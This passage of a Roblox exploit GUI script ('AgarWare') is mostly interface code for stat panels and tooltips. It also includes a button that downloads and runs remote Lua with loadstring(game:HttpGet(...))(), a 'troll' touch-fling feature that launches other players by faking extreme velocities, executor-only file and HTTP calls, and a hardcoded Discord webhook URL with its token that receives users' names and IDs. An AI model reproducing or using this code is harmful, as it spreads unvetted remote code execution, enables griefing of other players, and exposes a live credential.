chat (NO semicolon) TextChatService.TextChannels.RBXGeneral:SendAsync(message) end) end; task.spawn(C_2b9); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow.WelcomeMSGScript local function C_2bd() local script = G2L["2bd"]; -- WelcomeMSGScript (goes in WelcomeMSGRow) local WelcomeMSGChanger = script.Parent.WelcomeMSGChanger -- Set default message WelcomeMSGChanger.Text = "👋 (Display) joined the server!" -- Share the textbox content globally WelcomeMSGChanger:GetPropertyChangedSignal("Text"):Connect(function() shared.WelcomeMessage = WelcomeMSGChanger.Text end) -- Initialize shared.WelcomeMessage = WelcomeMSGChanger.Text end; task.spawn(C_2bd); -- StarterGui.AgarWareGui.MainFrame.ContentArea.OPENCONSOLE.LocalScript local function C_2c1() local script = G2L["2c1"]; local StarterGui = game:GetService("StarterGui") -- The script's parent is the specific OPENCONSOLE button local button = script.Parent -- Ensure this is the exact button we want if button:IsA("TextButton") and button.Name == "OPENCONSOLE" then button.MouseButton1Click:Connect(function() -- Open the developer console pcall(function() StarterGui:SetCore("DevConsoleVisible", true) end) end) end end; task.spawn(C_2c1); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerScript local function C_2c6() local script = G2L["2c6"]; -- ============================================================ -- SERVER GROUP MASTER SCRIPT -- Place this script directly under ServerGroup -- Handles minimize and all server stat displays -- ============================================================ local Players = game:GetService("Players") local RunService = game:GetService("RunService") local HttpService = game:GetService("HttpService") local ServerGroup = script.Parent local ServerMinimize = ServerGroup.ServerTitle.ServerMinimize -- ============================================================ -- MINIMIZE FUNCTIONALITY -- ============================================================ local function getRows() local rows = {} for _, child in ipairs(ServerGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = ServerGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) ServerMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then ServerGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end ServerMinimize.Text = "+" else ServerGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end ServerMinimize.Text = "-" end end) -- ============================================================ -- SERVER STAT SETUP FUNCTION -- Makes it easy to add new stats -- ============================================================ local function setupStat(config) --[[ config = { row = "LatencyRow", -- Name of the row textLabel = "Text", -- Name of the TextLabel inside the row updateFunction = function() -- Function that returns the display text return "📶 Latency: 50ms" end, updateInterval = 0 -- 0 = every frame, or number of seconds } ]] local rowName = config.row local textLabelName = config.textLabel or "Text" local updateFunction = config.updateFunction local updateInterval = config.updateInterval or 0 local row = ServerGroup:FindFirstChild(rowName) if not row then warn("[ServerStat] Row not found:", rowName) return end local textLabel = row:FindFirstChild(textLabelName) if not textLabel then warn("[ServerStat] TextLabel not found:", textLabelName, "in", rowName) return end local function updateDisplay() if updateFunction then local success, result = pcall(updateFunction) if success and result then textLabel.Text = result end end end -- Initial update updateDisplay() -- Continuous updates if updateInterval == 0 then -- Update every frame RunService.Heartbeat:Connect(function() updateDisplay() end) else -- Update every X seconds task.spawn(function() while true do task.wait(updateInterval) updateDisplay() end end) end end -- ============================================================ -- SERVER STATS DEFINITIONS -- Add your stats here using setupStat() -- ============================================================ -- Latency (Ping) setupStat({ row = "LatencyRow", updateFunction = function() local player = Players.LocalPlayer if player then local pingInSeconds = player:GetNetworkPing() local ping = math.round(pingInSeconds * 1000) return "📶 Latency: " .. ping .. "ms" end return "📶 Latency: 0ms" end, updateInterval = 0 -- Every frame }) -- Players Count setupStat({ row = "PlayersRow", updateFunction = function() local playerCount = #Players:GetPlayers() local maxPlayers = Players.MaxPlayers return string.format("👥 Players: %d/%d", playerCount, maxPlayers) end, updateInterval = 0 -- Every frame }) -- Region local regionCode = "N/A" local function fetchRegion() local url = "http://ip-api.com/json/?fields=16394" local success, response = pcall(function() return HttpService:GetAsync(url) end) if success then local data = HttpService:JSONDecode(response) if data.status == "success" and data.countryCode then regionCode = data.countryCode else regionCode = "N/A" end else regionCode = "N/A" end end -- Fetch region immediately task.spawn(fetchRegion) setupStat({ row = "RegionRow", updateFunction = function() return "🌐 Region: " .. regionCode end, updateInterval = 60 -- Update every 60 seconds }) -- Uptime local serverStartTime = tick() local function formatUptime(seconds) local hours = math.floor(seconds / 3600) local minutes = math.floor((seconds % 3600) / 60) local secs = math.floor(seconds % 60) return string.format("%dh %dm %ds", hours, minutes, secs) end setupStat({ row = "UptimeRow", updateFunction = function() local uptime = tick() - serverStartTime return "⌛ Uptime: " .. formatUptime(uptime) end, updateInterval = 0 -- Every frame }) -- ============================================================ -- ADD NEW STATS HERE - USE THIS TEMPLATE: -- ============================================================ --[[ TEMPLATE FOR SIMPLE STATS (updates every frame): setupStat({ row = "YourRow", updateFunction = function() -- Your code to get the value local value = 123 return "🔥 Your Stat: " .. value end }) ================================================================================ TEMPLATE FOR SLOW STATS (updates every X seconds): setupStat({ row = "YourRow", updateFunction = function() -- Your code to get the value local value = 456 return "⚡ Your Stat: " .. value end, updateInterval = 5 -- Update every 5 seconds }) ================================================================================ EXAMPLE - FPS Counter: setupStat({ row = "FPSRow", updateFunction = function() local fps = math.round(1 / RunService.Heartbeat:Wait()) return "🎮 FPS: " .. fps end }) ================================================================================ EXAMPLE - Server Age: local serverCreatedTime = os.time() setupStat({ row = "ServerAgeRow", updateFunction = function() local age = os.time() - serverCreatedTime local hours = math.floor(age / 3600) return "📅 Server Age: " .. hours .. "h" end, updateInterval = 60 -- Update every minute }) ================================================================================ EXAMPLE - Memory Usage: setupStat({ row = "MemoryRow", updateFunction = function() local memory = math.round(game:GetService("Stats"):GetTotalMemoryUsageMb()) return "💾 Memory: " .. memory .. "MB" end, updateInterval = 2 -- Update every 2 seconds }) ================================================================================ ]] -- PASTE YOUR NEW STATS BELOW THIS LINE -- ============================================================ -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then -- All connections auto-disconnect when script is destroyed end end) end; task.spawn(C_2c6); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.SuggestionGroup.SuggestionScript local function C_2d4() local script = G2L["2d4"]; -- ============================================================ -- SUGGESTION GROUP MASTER SCRIPT -- Place this script directly under SuggestionGroup -- Handles minimize, message sending with cooldown, and tooltips -- ============================================================ local HttpService = game:GetService("HttpService") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local SuggestionGroup = script.Parent local SuggestionMinimize = SuggestionGroup.SuggestionTitle.SuggestionMinimize -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = SuggestionGroup while p do if p:IsA("ScreenGui") then return p end p = p.Parent end return game:GetService("CoreGui") end -- ============================================================ -- TOOLTIP CREATOR -- ============================================================ local function createTooltip(name, text, parent) local frame = Instance.new("Frame") frame.Name = name frame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = getScreenGui() local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57, 57, 57) stroke.Thickness = 1 stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame if parent then parent.MouseEnter:Connect(function() local abs = parent.AbsolutePosition local size = parent.AbsoluteSize frame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) frame.Visible = true end) parent.MouseLeave:Connect(function() frame.Visible = false end) end return frame end -- ============================================================ -- MINIMIZE FUNCTIONALITY -- ============================================================ local function getRows() local rows = {} for _, child in ipairs(SuggestionGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = SuggestionGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) SuggestionMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then SuggestionGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end SuggestionMinimize.Text = "+" else SuggestionGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end SuggestionMinimize.Text = "-" end end) -- ============================================================ -- WEBHOOK MESSAGE SENDER -- ============================================================ local SendRow = SuggestionGroup:FindFirstChild("SendRow") if SendRow then local SendButton = SendRow:FindFirstChild("SendButton") local MessageRow = SuggestionGroup:FindFirstChild("MessageRow") local MessageBox = MessageRow and MessageRow:FindFirstChild("MessageBox") if SendButton and MessageBox then -- Configuration local WEBHOOK_URL = "https://discordapp.com/api/webhooks/1497976103569068174/SAvj1p0nxgZTqDMnDgcYKU2EPiQZrbkkhQo0Zcwwm3zZPhCkFohaCb6q5Bz9Aq-WJfI_" local COOLDOWN_TIME = 21600 -- 6 hours in seconds local SAVE_FILE = "webhook_cooldown.txt" local isCooldown = false local cooldownEnd = 0 -- File handling local function readCooldown() local success, result = pcall(function() return readfile(SAVE_FILE) end) if success and result and result ~= "" then return tonumber(result) or 0 end return 0 end local function writeCooldown(timestamp) pcall(function() writefile(SAVE_FILE, tostring(timestamp)) end) end -- Timer formatting local function formatTime(seconds) local hours = math.floor(seconds / 3600) local mins = math.floor((seconds % 3600) / 60) local secs = seconds % 60 return string.format("%02d:%02d:%02d", hours, mins, secs) end -- Timer update loop local function updateTimer() while isCooldown do local remaining = math.max(0, cooldownEnd - tick()) if remaining <= 0 then isCooldown = false SendButton.Text = "Send Message" writeCooldown(0) else SendButton.Text = formatTime(math.ceil(remaining)) end task.wait(1) end end -- Send webhook local function sendWebhook() if isCooldown then return end if not MessageBox or MessageBox.Text == "" then return end local message = MessageBox.Text local displayName = LocalPlayer.DisplayName local username = LocalPlayer.Name local userId = LocalPlayer.UserId local embed = { title = string.format("%s / %s | `%s`", displayName, username, userId), description = message, color = tonumber("0xf2ff00"), footer = { text = "AGAR WARE" }, timestamp = os.date("!%Y-%m-%dT%H:%M:%S") } local data = { embeds = {embed} } local success = pcall(function() request({ Url = WEBHOOK_URL, Method = "POST", Headers = { ["Content-Type"] = "application/json" }, Body = HttpService:JSONEncode(data) }) end) if success then -- Start cooldown isCooldown = true cooldownEnd = tick() + COOLDOWN_TIME writeCooldown(cooldownEnd) -- Clear message box MessageBox.Text = "" -- Start timer task.spawn(updateTimer) end end -- Load saved cooldown local function loadCooldown() local savedEnd = readCooldown() if savedEnd > tick() then isCooldown = true cooldownEnd = savedEnd task.spawn(updateTimer) else writeCooldown(0) end end -- Button click SendButton.MouseButton1Click:Connect(function() sendWebhook() end) -- Initialize loadCooldown() end end -- ============================================================ -- TOOLTIP FOR HELP BUTTON -- ============================================================ local SuggestHelpRow = SuggestionGroup:FindFirstChild("TitleRow") if SuggestHelpRow then local SuggestHelp = SuggestHelpRow:FindFirstChild("SuggestHelp") if SuggestHelp then createTooltip( "SuggestHelpTooltip", "Send suggestions or bug reports. You can send one message every 6 hours. All messages will be sent to the owner, please don't send any personal information.", SuggestHelp ) end end -- ============================================================ -- ADD MORE TOOLTIPS OR FEATURES HERE -- ============================================================ --[[ TEMPLATE FOR NEW TOOLTIP: local YourRow = SuggestionGroup:FindFirstChild("YourRow") if YourRow then local YourButton = YourRow:FindFirstChild("YourButton") if YourButton then createTooltip( "YourTooltipName", "Your tooltip text here", YourButton ) end end ================================================================================ ]] -- ============================================================ -- CLEANUP -- ============================================================ local tooltips = {} for _, tooltip in pairs(getScreenGui():GetChildren()) do if tooltip.Name:match("Tooltip") then table.insert(tooltips, tooltip) end end script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then for _, tooltip in pairs(tooltips) do tooltip:Destroy() end end end) end; task.spawn(C_2d4); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Script local function C_2e1() local script = G2L["2e1"]; -- ============================================================ -- SERVER GROUP MASTER SCRIPT -- Place this script directly under ServerGroup -- Handles minimize and all server stat displays -- ============================================================ local Players = game:GetService("Players") local RunService = game:GetService("RunService") local HttpService = game:GetService("HttpService") local ServerGroup = script.Parent local ServerMinimize = ServerGroup.ServerTitle.ServerMinimize -- ============================================================ -- MINIMIZE FUNCTIONALITY -- ============================================================ local function getRows() local rows = {} for _, child in ipairs(ServerGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = ServerGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) ServerMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then ServerGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end ServerMinimize.Text = "+" else ServerGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end ServerMinimize.Text = "-" end end) -- ============================================================ -- SERVER STAT SETUP FUNCTION -- Makes it easy to add new stats -- ============================================================ local function setupStat(config) --[[ config = { row = "LatencyRow", -- Name of the row textLabel = "Text", -- Name of the TextLabel inside the row updateFunction = function() -- Function that returns the display text return "📶 Latency: 50ms" end, updateInterval = 0 -- 0 = every frame, or number of seconds } ]] local rowName = config.row local textLabelName = config.textLabel or "Text" local updateFunction = config.updateFunction local updateInterval = config.updateInterval or 0 local row = ServerGroup:FindFirstChild(rowName) if not row then warn("[ServerStat] Row not found:", rowName) return end local textLabel = row:FindFirstChild(textLabelName) if not textLabel then warn("[ServerStat] TextLabel not found:", textLabelName, "in", rowName) return end local function updateDisplay() if updateFunction then local success, result = pcall(updateFunction) if success and result then textLabel.Text = result end end end -- Initial update updateDisplay() -- Continuous updates if updateInterval == 0 then -- Update every frame RunService.Heartbeat:Connect(function() updateDisplay() end) else -- Update every X seconds task.spawn(function() while true do task.wait(updateInterval) updateDisplay() end end) end end -- ============================================================ -- SERVER STATS DEFINITIONS -- Add your stats here using setupStat() -- ============================================================ -- Latency (Ping) setupStat({ row = "LatencyRow", updateFunction = function() local player = Players.LocalPlayer if player then local pingInSeconds = player:GetNetworkPing() local ping = math.round(pingInSeconds * 1000) return "📶 Latency: " .. ping .. "ms" end return "📶 Latency: 0ms" end, updateInterval = 0 -- Every frame }) -- Players Count setupStat({ row = "PlayersRow", updateFunction = function() local playerCount = #Players:GetPlayers() local maxPlayers = Players.MaxPlayers return string.format("👥 Players: %d/%d", playerCount, maxPlayers) end, updateInterval = 0 -- Every frame }) -- Region local regionCode = "N/A" local function fetchRegion() local url = "http://ip-api.com/json/?fields=16394" local success, response = pcall(function() return HttpService:GetAsync(url) end) if success then local data = HttpService:JSONDecode(response) if data.status == "success" and data.countryCode then regionCode = data.countryCode else regionCode = "N/A" end else regionCode = "N/A" end end -- Fetch region immediately task.spawn(fetchRegion) setupStat({ row = "RegionRow", updateFunction = function() return "🌐 Region: " .. regionCode end, updateInterval = 60 -- Update every 60 seconds }) -- Uptime local serverStartTime = tick() local function formatUptime(seconds) local hours = math.floor(seconds / 3600) local minutes = math.floor((seconds % 3600) / 60) local secs = math.floor(seconds % 60) return string.format("%dh %dm %ds", hours, minutes, secs) end setupStat({ row = "UptimeRow", updateFunction = function() local uptime = tick() - serverStartTime return "⌛ Uptime: " .. formatUptime(uptime) end, updateInterval = 0 -- Every frame }) -- ============================================================ -- ADD NEW STATS HERE - USE THIS TEMPLATE: -- ============================================================ --[[ TEMPLATE FOR SIMPLE STATS (updates every frame): setupStat({ row = "YourRow", updateFunction = function() -- Your code to get the value local value = 123 return "🔥 Your Stat: " .. value end }) ================================================================================ TEMPLATE FOR SLOW STATS (updates every X seconds): setupStat({ row = "YourRow", updateFunction = function() -- Your code to get the value local value = 456 return "⚡ Your Stat: " .. value end, updateInterval = 5 -- Update every 5 seconds }) ================================================================================ EXAMPLE - FPS Counter: setupStat({ row = "FPSRow", updateFunction = function() local fps = math.round(1 / RunService.Heartbeat:Wait()) return "🎮 FPS: " .. fps end }) ================================================================================ EXAMPLE - Server Age: local serverCreatedTime = os.time() setupStat({ row = "ServerAgeRow", updateFunction = function() local age = os.time() - serverCreatedTime local hours = math.floor(age / 3600) return "📅 Server Age: " .. hours .. "h" end, updateInterval = 60 -- Update every minute }) ================================================================================ EXAMPLE - Memory Usage: setupStat({ row = "MemoryRow", updateFunction = function() local memory = math.round(game:GetService("Stats"):GetTotalMemoryUsageMb()) return "💾 Memory: " .. memory .. "MB" end, updateInterval = 2 -- Update every 2 seconds }) ================================================================================ ]] -- PASTE YOUR NEW STATS BELOW THIS LINE -- ============================================================ -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then -- All connections auto-disconnect when script is destroyed end end) end; task.spawn(C_2e1); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.Title.texteffects local function C_2e5() local script = G2L["2e5"]; local textLabel = script.Parent local TweenService = game:GetService("TweenService") while true do -- Fade to 0.5 local fadeOut = TweenService:Create( textLabel, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {TextTransparency = 0.5} ) fadeOut:Play() fadeOut.Completed:Wait() -- Fade back to 0 local fadeIn = TweenService:Create( textLabel, TweenInfo.new(1, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {TextTransparency = 0} ) fadeIn:Play() fadeIn.Completed:Wait() end end; task.spawn(C_2e5); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.V3.execute.script local function C_2e7() local script = G2L["2e7"]; local executeBtn = script.Parent:FindFirstChild("executebutton") if not executeBtn then return end local originalText = executeBtn.Text local SCRIPT_URL = "https://raw.githubusercontent.com/agarvsocooolsmith/Scripts/refs/heads/main/AGARWAREV3.lua" executeBtn.MouseButton1Click:Connect(function() executeBtn.Text = "LOADING..." task.spawn(function() local success, err = pcall(function() local code = game:HttpGet(SCRIPT_URL) loadstring(code)() end) if success then executeBtn.Text = "SUCCESSFULLY EXECUTED" task.wait(3) executeBtn.Text = originalText else executeBtn.Text = "FAILED TO EXECUTE" task.wait(3) executeBtn.Text = originalText end end) end) end; task.spawn(C_2e7); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.UpLogsGroup.UpLogsScript local function C_2ec() local script = G2L["2ec"]; local UpLogsGroup = script.Parent local UpLogsMinimize = UpLogsGroup.UpLogsTitle.UpLogsMinimize local ScrollingFrame = UpLogsGroup:FindFirstChild("ScrollingRow") if ScrollingFrame then ScrollingFrame = ScrollingFrame:FindFirstChild("ScrollingFrame") if ScrollingFrame then ScrollingFrame.CanvasPosition = Vector2.new(0, 0) end end local function getRows() local rows = {} for _, child in ipairs(UpLogsGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = UpLogsGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) UpLogsMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then UpLogsGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end UpLogsMinimize.Text = "+" else UpLogsGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end UpLogsMinimize.Text = "-" -- Reset scroll to top when expanding if ScrollingFrame then ScrollingFrame.CanvasPosition = Vector2.new(0, 0) end end end) end; task.spawn(C_2ec); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOScript local function C_30f() local script = G2L["30f"]; -- ============================================================ -- TCO GROUP MASTER SCRIPT -- Place this script directly under TCOGroup -- Handles minimize, place detection, and all stat displays -- ============================================================ local RunService = game:GetService("RunService") local Players = game:GetService("Players") local Teams = game:GetService("Teams") local Workspace = game:GetService("Workspace") local TCOGroup = script.Parent local TCOMinimize = TCOGroup.TCOTitle.TCOMinimize -- ============================================================ -- TCO PLACE DETECTION -- Destroys the group if not in a TCO game -- ============================================================ local TCO_PLACES = {11137575513, 12943245078, 12943247001, 108097274488844} local SPECIAL_PLACE_ID = 108097274488844 local function isTCOGame() for _, placeId in pairs(TCO_PLACES) do if game.PlaceId == placeId then return true end end return false end -- Destroy TCOGroup if not in a TCO game if not isTCOGame() then TCOGroup:Destroy() return end -- ============================================================ -- MINIMIZE FUNCTIONALITY -- ============================================================ local function getRows() local rows = {} for _, child in ipairs(TCOGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = TCOGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) TCOMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then TCOGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end TCOMinimize.Text = "+" else TCOGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end TCOMinimize.Text = "-" end end) -- ============================================================ -- ADMIN DISPLAY -- Shows current admins on the admin/chosen team -- ============================================================ local AdminRow = TCOGroup:FindFirstChild("AdminRow") if AdminRow then local AdminText = AdminRow:FindFirstChild("Text") if AdminText then local function getAdmins() local teamName = (game.PlaceId == SPECIAL_PLACE_ID) and "Admin" or "Chosen" local adminTeam = Teams:FindFirstChild(teamName) if not adminTeam then return {} end local admins = {} for _, player in pairs(Players:GetPlayers()) do if player.Team == adminTeam then table.insert(admins, player.DisplayName) end end return admins end local function updateAdminDisplay() local admins = getAdmins() if #admins == 0 then AdminText.Text = "👤 Admin: N/A" else AdminText.Text = "👤 Admin: " .. table.concat(admins, ", ") end end -- Update every heartbeat RunService.Heartbeat:Connect(function() updateAdminDisplay() end) -- Initial update updateAdminDisplay() end end -- ============================================================ -- BLOCK COUNT DISPLAY -- Counts total blocks/cubes in the game -- ============================================================ local BlockCountRow = TCOGroup:FindFirstChild("BlockCountRow") if BlockCountRow then local BlockCountText = BlockCountRow:FindFirstChild("Text") if BlockCountText then local function countBricks() local folderName, itemNames if game.PlaceId == SPECIAL_PLACE_ID then -- Special game: check Cubes folder for "Cube" and "Sign" folderName = "Cubes" itemNames = {"Cube", "Sign"} else -- Normal game: check Bricks folder for "Brick" folderName = "Bricks" itemNames = {"Brick"} end local folder = Workspace:FindFirstChild(folderName) if not folder then return 0 end local totalCount = 0 for _, descendant in pairs(folder:GetDescendants()) do for _, itemName in pairs(itemNames) do if descendant.Name == itemName then totalCount = totalCount + 1 break end end end return totalCount end local function updateBlockDisplay() local count = countBricks() BlockCountText.Text = "🧱 Total Blocks: " .. tostring(count) end -- Update every heartbeat RunService.Heartbeat:Connect(function() updateBlockDisplay() end) -- Initial update updateBlockDisplay() end end -- ============================================================ -- ENLIGHTEN DISPLAY -- Counts players with The Arkenstone (excluding admins) -- ============================================================ local EnlightenRow = TCOGroup:FindFirstChild("EnlightenRow") if EnlightenRow then local EnlightenText = EnlightenRow:FindFirstChild("Text") if EnlightenText then local function getEnlightenedCount() local count = 0 local chosenTeam = Teams:FindFirstChild("Chosen") for _, player in pairs(Players:GetPlayers()) do -- Skip players on Chosen team (admins) if chosenTeam and player.Team == chosenTeam then continue end local hasArkenstone = false -- Check backpack local backpack = player:FindFirstChild("Backpack") if backpack and backpack:FindFirstChild("The Arkenstone") then hasArkenstone = true end -- Check character in workspace if not hasArkenstone then local character = Workspace:FindFirstChild(player.Name) if character and character:FindFirstChild("The Arkenstone") then hasArkenstone = true end end if hasArkenstone then count = count + 1 end end return count end local function updateEnlightenDisplay() local count = getEnlightenedCount() EnlightenText.Text = "🌟 Enlighten Users: " .. tostring(count) end -- Update every heartbeat RunService.Heartbeat:Connect(function() updateEnlightenDisplay() end) -- Initial update updateEnlightenDisplay() end end -- ============================================================ -- TOTAL TIME DISPLAY -- Shows combined time from all players' leaderstats -- ============================================================ local TotalTimeRow = TCOGroup:FindFirstChild("TotalTimeRow") if TotalTimeRow then local TotalTimeText = TotalTimeRow:FindFirstChild("Text") if TotalTimeText then local function getTotalTime() local totalTime = 0 for _, player in pairs(Players:GetPlayers()) do local leaderstats = player:FindFirstChild("leaderstats") if leaderstats then local timeValue = leaderstats:FindFirstChild("Time") if timeValue and (timeValue:IsA("IntValue") or timeValue:IsA("NumberValue")) then totalTime = totalTime + timeValue.Value end end end return totalTime end local function updateTotalTimeDisplay() local total = getTotalTime() if total == 0 then TotalTimeText.Text = "🕛 All Time: N/A" else TotalTimeText.Text = "🕛 All Time: " .. tostring(total) end end -- Update every heartbeat RunService.Heartbeat:Connect(function() updateTotalTimeDisplay() end) -- Initial update updateTotalTimeDisplay() end end -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then -- All connections auto-disconnect when script is destroyed end end) end; task.spawn(C_30f); -- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuRightSide.TCOGroup.TCOTitle.TitleScript local function C_313() local script = G2L["313"]; -- TCO Game Label Script local TextLabel = script.Parent local PLACES = { [11137575513] = "TCO", [12943245078] = "TCO (XL)", [12943247001] = "TCO (VC)", [108097274488844] = "TCO (OG)" } -- Set the text based on current PlaceId local placeText = PLACES[game.PlaceId] or "TCO" TextLabel.Text = placeText end; task.spawn(C_313); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.FlingScript local function C_321() local script = G2L["321"]; local FlingGroup = script.Parent local FlingMinimize = FlingGroup.FlingTitle.FlingMinimize local function getRows() local rows = {} for _, child in ipairs(FlingGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = FlingGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) FlingMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then FlingGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end FlingMinimize.Text = "+" else FlingGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end FlingMinimize.Text = "-" end end) end; task.spawn(C_321); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TrollPage.TrollLeftSide.FlingGroup.TouchFlingRow.TouchFlingScript local function C_329() local script = G2L["329"]; local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local TouchFlingRow = script.Parent local TouchFlingTickBox = TouchFlingRow.TouchFlingTickBox local FlingGroup = TouchFlingRow.Parent local FlingAccentColor = FlingGroup.FlingAccentColor local isEnabled = false local movel = 0.1 TouchFlingTickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end -- ============================================================ -- TOOLTIP -- ============================================================ local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local tooltipStroke = Instance.new("UIStroke", tooltipFrame) tooltipStroke.Color = Color3.fromRGB(57, 57, 57) local tooltipPadding = Instance.new("UIPadding", tooltipFrame) tooltipPadding.PaddingTop = UDim.new(0, 6) tooltipPadding.PaddingBottom = UDim.new(0, 6) tooltipPadding.PaddingLeft = UDim.new(0, 6) tooltipPadding.PaddingRight = UDim.new(0, 6) local tooltipLabel = Instance.new("TextLabel", tooltipFrame) tooltipLabel.BackgroundTransparency = 1 tooltipLabel.Text = "Walk into players to fling them. Turn on Anti-Fling while using touch fling." tooltipLabel.TextColor3 = Color3.new(1, 1, 1) tooltipLabel.TextSize = 14 tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top tooltipLabel.Font = Enum.Font.GothamSemibold tooltipLabel.TextWrapped = true tooltipLabel.Size = UDim2.new(0, 200, 0, 0) tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y tooltipLabel.ZIndex = 101 TouchFlingTickBox.MouseEnter:Connect(function() local abs = TouchFlingTickBox.AbsolutePosition local size = TouchFlingTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) TouchFlingTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) -- ============================================================ -- TOUCH FLING -- ============================================================ local function fling() while isEnabled do RunService.Heartbeat:Wait() local c = LocalPlayer.Character local hrp = c and c:FindFirstChild("HumanoidRootPart") if hrp then local vel = hrp.Velocity hrp.Velocity = vel * 15000 + Vector3.new(0, 15000, 0) RunService.RenderStepped:Wait() hrp.Velocity = vel RunService.Stepped:Wait() hrp.Velocity = vel + Vector3.new(0, movel, 0) movel = -movel end end end -- ============================================================ -- ENABLE / DISABLE -- ============================================================ local function enable() isEnabled = true TouchFlingTickBox.BackgroundColor3 = FlingAccentColor.BackgroundColor3 task.spawn(fling) end local function disable() isEnabled = false TouchFlingTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end -- ============================================================ -- TICKBOX 